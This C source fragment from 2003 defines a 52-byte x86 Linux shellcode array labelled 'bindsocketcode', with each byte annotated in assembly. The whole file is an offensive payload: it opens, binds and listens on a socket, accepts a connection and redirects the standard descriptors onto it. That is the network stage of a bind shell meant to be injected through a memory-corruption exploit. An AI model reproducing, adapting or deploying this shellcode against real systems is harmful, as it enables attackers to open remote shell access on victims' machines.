/* Copyright (c) Ramon de Carvalho Valle July 2003 */ /* x86/linux bindsocketcode */ char bindsocketcode[]= /* 52 bytes */ "\x31\xdb" /* xorl %ebx,%ebx */ "\xf7\xe3" /* mull %ebx */ "\x53" /* pushl %ebx */ "\x43" /* incl %ebx */ "\x53" /* pushl %ebx */ "\x6a\x02" /* pushl $0x02 */ "\x89\xe1" /* movl %esp,%ecx */ "\xb0\x66" /* movb $0x66,%al */ "\xcd\x80" /* int $0x80 */ "\xff\x49\x02" /* decl 0x02(%ecx) */ "\x6a\x10" /* pushl $0x10 */ "\x51" /* pushl %ecx */ "\x50" /* pushl %eax */ "\x89\xe1" /* movl %esp,%ecx */ "\x43" /* incl %ebx */ "\xb0\x66" /* movb $0x66,%al */ "\xcd\x80" /* int $0x80 */ "\x89\x41\x04" /* movl %eax,0x04(%ecx) */ "\xb3\x04" /* movb $0x04,%bl */ "\xb0\x66" /* movb $0x66,%al */ "\xcd\x80" /* int $0x80 */ "\x43" /* incl %ebx */ "\xb0\x66" /* movb $0x66,%al */ "\xcd\x80" /* int $0x80 */ "\x59" /* popl %ecx */ "\x93" /* xchgl %eax,%ebx */ "\xb0\x3f" /* movb $0x3f,%al */ "\xcd\x80" /* int $0x80 */ "\x49" /* decl %ecx */ "\x79\xf9" /* jns */ ;